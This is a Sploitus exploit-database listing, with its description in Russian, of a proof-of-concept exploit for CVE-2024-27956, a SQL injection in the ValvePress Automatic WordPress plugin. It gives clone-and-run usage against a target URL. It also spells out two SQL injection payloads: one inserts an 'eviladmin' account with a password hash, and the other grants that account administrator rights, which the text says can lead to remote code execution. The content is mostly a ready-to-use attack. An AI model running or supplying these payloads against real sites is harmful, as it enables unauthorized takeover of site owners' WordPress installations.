Sploitus

Exploit for CVE-2024-27956-RCE

kitploit · 2026-08-25

Exploit Code

MARKDOWN31 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CVE-2024-CVE-2024-27956-RCE
# CVE-2024-27956-RCE

PoC для CVE-2024-27956, SQL-инъекции в плагине ValvePress Automatic. Этот PoC эксплуатирует уязвимость, создавая пользователя на целевой системе и предоставляя ему права администратора. Наличие прав администратора в WordPress может привести к удалённому выполнению кода.

# Использование

root@kitploit:~
    
    
    git clone https://github.com/diego-tella/CVE-2024-27956-RCE/
    cd CVE-2024-27956-RCE
    python exploit.py http://target.com
    

# Пейлоады

Пейлоад SQL-инъекции для создания пользователя: 

root@kitploit:~
    
    
    q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'some-email@example.com', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')
    

Предоставление прав администратора:

root@kitploit:~
    
    
    q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}